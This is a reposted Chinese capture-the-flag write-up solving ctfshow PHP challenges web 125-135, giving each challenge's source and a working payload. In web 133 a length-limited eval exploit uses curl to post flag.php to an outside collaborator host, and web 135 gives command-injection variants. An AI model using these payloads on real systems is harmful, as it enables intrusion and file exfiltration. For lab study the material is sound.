ctfshow php特性[125-135]

news2024/11/27 22:39:13
😋 大家好,我是YAy_17,是一枚爱好网安的小白,自学ing。
本人水平有限,欢迎各位大佬指点,一起学习 💗 ,一起进步
此后如竟没有炬火,我便是唯一的光。

web 125

<?php
  error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
  if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
    eval("$c".";");
    if($fl0g==="flag_give_me"){
      echo $flag;
    }
  }
}
?>

var_dump()被过滤,但是还有var_export()函数,该函数与var_dump函数功能类似:

fun=var_export(get_defined_vars())&CTF_SHOW=1&CTF[SHOW.COM=1

web 126

上面的方法已经不能在使用了,这里本地测试这样一段代码:

<?php
	$a = $_SERVER['argv'];
	var_dump($a);
//传入a=1+fl0g=flag_give_me
//得到:array(2) { [0]=> string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me"
?>
之后再利用parse_str()函数将字符串解析到变量中;
<?php
parse_str("name=Peter&age=43");
echo $name."<br>";
echo $age;
?>
//输出结果为:Peter
//43

最终的payload为:

get:a=1+fl0g=flag_give_me
post:fun=parse_str($a[1])&CTF_SHOW=1&CTF[ SHOW.COM =1

web 127

 <?php
   error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}

if($ctf_show==='ilove36d'){
    echo $flag;
} 

php在解析查询字符串的时候,他会做两件事情:

  • 将空白符删除掉

  • 将某些字符替换为下划线(某些字符包括:. [ + _ 以及空格

payload:ctf show=ilove36d

web 128

 <?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}

function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}

本题目考察的是gettext()函数,GET方式传递的参数f1会经过check函数的检测,不可以包含数字和字母,所以gettext函数就无法通过check函数的正则匹配;

gettext()函数的扩展---->_() 二者的效果是相同的;

需要在php.ini中,找到“extension=php_gettext.dll”,将前面的分号去掉:

测试代码:

可见二者的效果是相同的!

f2可以使用get_defined_vars()函数,此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

paylaod: f1=_&f2=get_defined_vars

web 129

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
} 

stripos():返回某一个字符串在另一个字符串中首次出现的位置;第一个位置是0;

可以使用php://filter伪协议,将过滤器写为ctfshow,无效就会被忽略,直接输出源码

f=php://filter/ctfshow/resource=flag.php

web 130

<?php
  error_reporting(0);
	highlight_file(__FILE__);
	include("flag.php");
	if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

在题目链接处,有一个提示:

先分析代码中的if条件:

  1. preg_match():其中的‘.’代表着匹配前面的单个字符,‘+’代表匹配一次或者是多次,‘+?’代表重复一次或者多次,尽可能的少重复;(大概就是匹配到*ctfshow,*代表任意字符,就会返回true)

  1. stripos()函数:不区分大小写,返回子串在字符串中第一次出现的位置,位置是从0开始的;没有查找到,返回FALSE,stripos函数对于传递数组情况下,返回值为NULL,NULL!=FALSE

因此这里就存在两种方法:

  1. 直接传参值为:ctfshow

  1. 传递数组f[]=1

看大佬的wp还有一种方法就是题目提示的方法,利用回溯限制,当回溯的次数超过了25w的时候,使得preg_match函数返回false,从而绕过preg_match函数:

import requests
url = 'http://d85be3be-8a0c-43e5-bb50-72ee96382dac.challenge.ctf.show/'
data={
	
    'f':'very'*250000+'ctfshow'
}
r = requests.post(url=url,data=data).text
print(r)

web 131

<?php
  error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
  $f = (String)$_POST['f'];

  if(preg_match('/.+?ctfshow/is', $f)){
    die('bye!');
  }
  if(stripos($f,'36Dctfshow') === FALSE){
    die('bye!!');
  }

  echo $flag;

}

上面的两种方法都不能用了,只能用回溯的方法:

import requests

url = 'http://560daf29-37f2-4477-ab88-20b8a8976876.challenge.ctf.show/'
data = {
    'f':'very'*250000+'36Dctfshow'
}

r = requests.post(url=url,data=data).text
print(r)

web 132

来到界面,尝试点了点链接,没什么发现:

尝试访问了robots.txt:

尝试访问,成功发现题目所在地:

<?php
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    }
} 
  1. 在第二个if中发现存在&&和||,要知道&&的优先级是高于||的,因此$code === mt_rand(1,0x36D) 如果为假,后面的 $password === $flag是不会执行的!我们只需要让username=admin即可

  1. 第三个if需要让$code变量为admin,所以只需要让code再等于admin即可,password任意

web 133

限制长度且无回显的RCE:

 <?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
} 

这个题目涨姿势了;思路是利用变量覆盖实现rce:

?F=`$F`;+sleep 3

上面的payload看似超过了长度6,但是执行的时候,发现网页好像是延迟了3秒,思考一下原理:我们通过GET方式传递了F参数,值为`$F`;+sleep 3,通过substr()函数截取了前面的六位字符,然后通过eval()函数进行执行;也就是截取的`$F`;+ 通过eval()函数,将eval函数中的内容当作是php代码进行执行;``符号其实就是shell_exec函数,进行命令执行。相当于执行的就是变量F的内容。

那么变量F的内容是什么?就是我们传递的`$F`;+sleep 3 最终`$F`----->``$F;+sleep 3成功突破长度的限制;

总结来说就是+号后面都是我们可控的!

接下来就是通过curl来带出flag.php

curl是一种命令行工具,作用是发出网络请求,然后获取数据,显示在”标准输出“上。

curl -f将flag文件上传到Brup Suite的Collaborator Client(类似于DNSLOG),其功能要比DNSLOG强大,主要体现在可以查看POST请求以及打Cookies

  • 查看网页源码:直接在curl命令后面加上网址 例如curl www.baidu.com

  • 如果要把这个网页保存下来,可以使用-o参数 例如curl -o 【文件名】 www.baidu.com

  • 发送表单信息:

  1. GET方式相对简单,只要把数据附在网址后面就行

  1. POST方式必须要把数据和网址分开,curl就要用到--data或者是-d参数;例如 curl -X POST --data "data=xxx" www.xxx.com (不加-X默认是GET方式 -X可以指定请求方式)

//payload:
?F=`$F`;+curl -X POST -F xx=@flag.php http://gk4ubl6jnzii6pmkgmvyvmhxsoyfm4.oastify.com

其中-X 指定请求方式POST

-F 为带文件的形式发送POST请求

xx是上传文件的name值,flag.php就是上传的文件

web 134

 <?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
} 

以GET方式传递_POST[a],就相当于post方式传递参数a

//构造payload:
?_POST[key1]=36d&_POST[key2]=36d

查看源码拿到flag

web 135

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
} 

在133,通过使用命令行工具curl实现,但是在135会发现,正则匹配中存在着curl;

但是没有过滤nl cp mv等命令;

?F=`$F`;+cp flag.php flag.txt
?F=`$F`;+mv flag.php flag.txt
?F=`$F`;+nl f*>flag.txt

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/166753.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

word怎么转换成pdf?其实很简单,看这里即可!

转眼间又到了校招的季节&#xff0c;想必许多小伙伴都在忙着编辑自己的简历吧。不过&#xff0c;咱们编辑的时候常常用到的都是word文件&#xff0c;但是当我们要将文件投递出去的时候就需要用到pdf了。其实不仅仅是投递简历&#xff0c;许多地方在要求我们发送正式文件的时候都…

vue+node+mysql全栈项目完整记录

文章目录vuenodemysql全栈项目完整记录写在前面项目最终界面展示项目框架搭建后端创建后端项目编写入口文件数据库及数据库使用前端创建前端项目使用elementUI必要包安装设置跨域访问&#xff0c;全局挂载axios删除无用的文件和代码设置统一的页面样式主页面页面设计路由设计登…

【C语言】柔性的数组是什么?C/C++程序的内存开辟又是?

本文主要讲解柔性数组的相关知识点&#xff0c;并穿插一下C/C程序的内存开辟&#xff0c;涉及到动态内存管理函数&#xff0c;如有不了解的&#xff0c;请参考这一篇文章【C语言】小王带您轻松实现动态内存管理&#xff08;简单易懂&#xff09;_小王学代码的博客-CSDN博客 目录…

【C++】类和对象【下篇】--初始化列表,static成员,友元,内部类,匿名对象

文章目录一、再谈构造函数1.构造函数体赋值2.初始化列表1.概念2.特性二、隐式类型转换1.概念2.构造函数的类型转换3.explict关键字4.类型转换的意义三、Static成员1.概念2.static成员变量3.static成员函数四、友元1.友元函数2.友元类五、内部类六、匿名对象七、拷贝对象时的一些…

深入使用noexcept

深入使用noexcept简介好处坏处适用场景不适用场景实验结果总结参考资料简介 noexcept是C11引入的&#xff0c;表明函数是否会抛出异常。正确使用它可以优化性能&#xff0c;错误使用则会带来麻烦。 noexcept使用语法有两种&#xff1a; noexcpetnoexcept(expression) 第二种…

如何提高系统稳定性?

1、系统稳定性的评判标准 在开始谈稳定性保障之前&#xff0c;我们先来聊聊业内经常提及的一个词SLA&#xff01;业内喜欢用SLA &#xff08;服务等级协议&#xff0c;全称&#xff1a;service level agreement&#xff09;来衡量系统的稳定性&#xff0c;对互联网公司来说&am…

测试开发知识总结(一)

本文内容顺序&#xff1a;测试基础理论、测试岗经常被问到的场景题、智力题、测试岗高频算法题、数据库、Linux知识点。常用自动化测试工具1、Appium官网&#xff1a;http://appium.ioAppUI自动化测试Appium 是一个移动端自动化测试开源工具&#xff0c;支持iOS 和Android 平台…

为什么很少拿神经网络来直接做滤波器呢?

其实无论是IIR&#xff08;RNN&#xff09;还是FIR(CNN)滤波器都可以看成一个简单神经网络&#xff0c;而且有严格的推理&#xff0c;可解释性比神经网络强多了&#xff0c;而已易于工程实现&#xff0c;因此在工程中大量应用。你说的含色噪声和其他乱七八糟的噪声难以滤除时&a…

ROS | Realsense中的IMU解算orientation

文章目录概述一、定义介绍二、操作教程(一)、下载并编译imu_tools功能包1.创建工作空间并初始化2.下载imu_tools并编译(二)、修改配置1.修改imu_tools源码2.修改launch文件3.启动解算概述 本文详细介绍了如何使用ROS自带的工具解算6轴IMU&#xff0c;获取其位姿。 一、定义介绍…

mybatis之动态SQL常见标签的使用

引入where标签的原因&#xff1a; 在上篇文章使用if语句的查询中&#xff0c;我们在SQL语句后面都写入了where 11&#xff0c;以保证每次都能够查询出结果&#xff0c;但这种方法并不是最合理的&#xff0c;假设我们现在将where后面的11去掉&#xff1a; 如下所示&#xff1a…

上午摆摊,下午写代码,35岁程序员的双面人生超爽!

最近看到一个程序员发帖分享自己的工作&#xff1a;白天出摊卖馄饨&#xff0c;下午在家为海外公司全职远程工作。“年入百万是可以的&#xff0c;并且我老家是三线城市&#xff0c;没有房租、通勤费用&#xff0c;性价比还是很高的。” 对比在大城市天天996的程序员&#xff0…

【JavaEE】多线程之线程安全(synchronized篇),死锁问题

目录 线程安全问题 观察线程不安全 线程安全问题的原因 从原子性入手解决线程安全问题 ——synchronized synchronized的使用方法 synchronized的互斥性和可重入性 死锁 死锁的三个典型情况 死锁的四个必要条件 破除死锁 线程安全问题 在前面的章节中&#xff0c…

Wav2Vec HuBert 自监督语音识别模型

文章目录Wav2Vec: Unsupervised pre-training for speech recognitionabstractmethodwav2vec 2.0: A Framework for Self-Supervised Learning of Speech RepresentationsabstractintroductionmethodMODEL arch损失函数finetuneexprimentHuBERT: Self-Supervised Speech Repres…

商品期货跨期套利实战笔记

合约对&#xff1a;IC2301&IC2302 价差计算 前-后&#xff08;6082-6079.8&#xff09; 做多价差开仓&#xff08;预期价差变大&#xff09; 买2301&#xff08;前&#xff09; 卖2302&#xff08;后&#xff09; 做空价差开仓&#xff08;预期价差变小&#xff09;&…

【Java|golang】1813. 句子相似性 III

一个句子是由一些单词与它们之间的单个空格组成&#xff0c;且句子的开头和结尾没有多余空格。比方说&#xff0c;“Hello World” &#xff0c;“HELLO” &#xff0c;“hello world hello world” 都是句子。每个单词都 只 包含大写和小写英文字母。 如果两个句子 sentence1…

react hooks组件间的传值方式(使用ts),子孙传值给祖先组件

父子组件传值参考&#xff1a;react hooks组件传值父传子很简单&#xff0c;只要父组件传参&#xff0c;子组件写好interface childProps和props去接收即可子传父稍复杂父组件写一个回调函数&#xff1a;changeTaskState{(id: any) > { changeTaskStateByID(id) }}当然这个 …

图自监督表征

1、综述 数据挖掘领域大师俞士纶团队新作&#xff1a;最新图自监督学习综述图自监督学习综述&#xff1a;Graph Self-Supervised Learning A Survey图自监督学习&#xff08;Graph Self-supervised Learning&#xff09;最新综述Github代码汇总图自监督学习在腾讯Angel Graph中…

基础数学(二)两数之和 三数之和

目录 两数之和_牛客题霸_牛客网 三数之和_牛客题霸_牛客网 两数之和_牛客题霸_牛客网 给出一个整型数组 numbers 和一个目标值 target&#xff0c;请在数组中找出两个加起来等于目标值的数的下标&#xff0c;返回的下标按升序排列。 &#xff08;注&#xff1a;返回的数组下标从…

从0到1完成一个Node后端(express)项目(四、路由、模块化、中间件、跨域)

往期 从0到1完成一个Node后端&#xff08;express&#xff09;项目&#xff08;一、初始化项目、安装nodemon&#xff09; 从0到1完成一个Node后端&#xff08;express&#xff09;项目&#xff08;二、下载数据库、navicat、express连接数据库&#xff09; 从0到1完成一个Nod…

分页查询数据重复的问题 (分页时数据库插入数据导致)

参考&#xff1a;https://blog.csdn.net/desongzhang/article/details/124941189参考之后 自己遇到的坑解决办法一、问题描述分页时&#xff0c;同时在数据库中添加数据&#xff0c;导致第n页和第n1页有部分数据重复(重复条数和查询分页时的添加的数据量有关)二、解决办法分页的…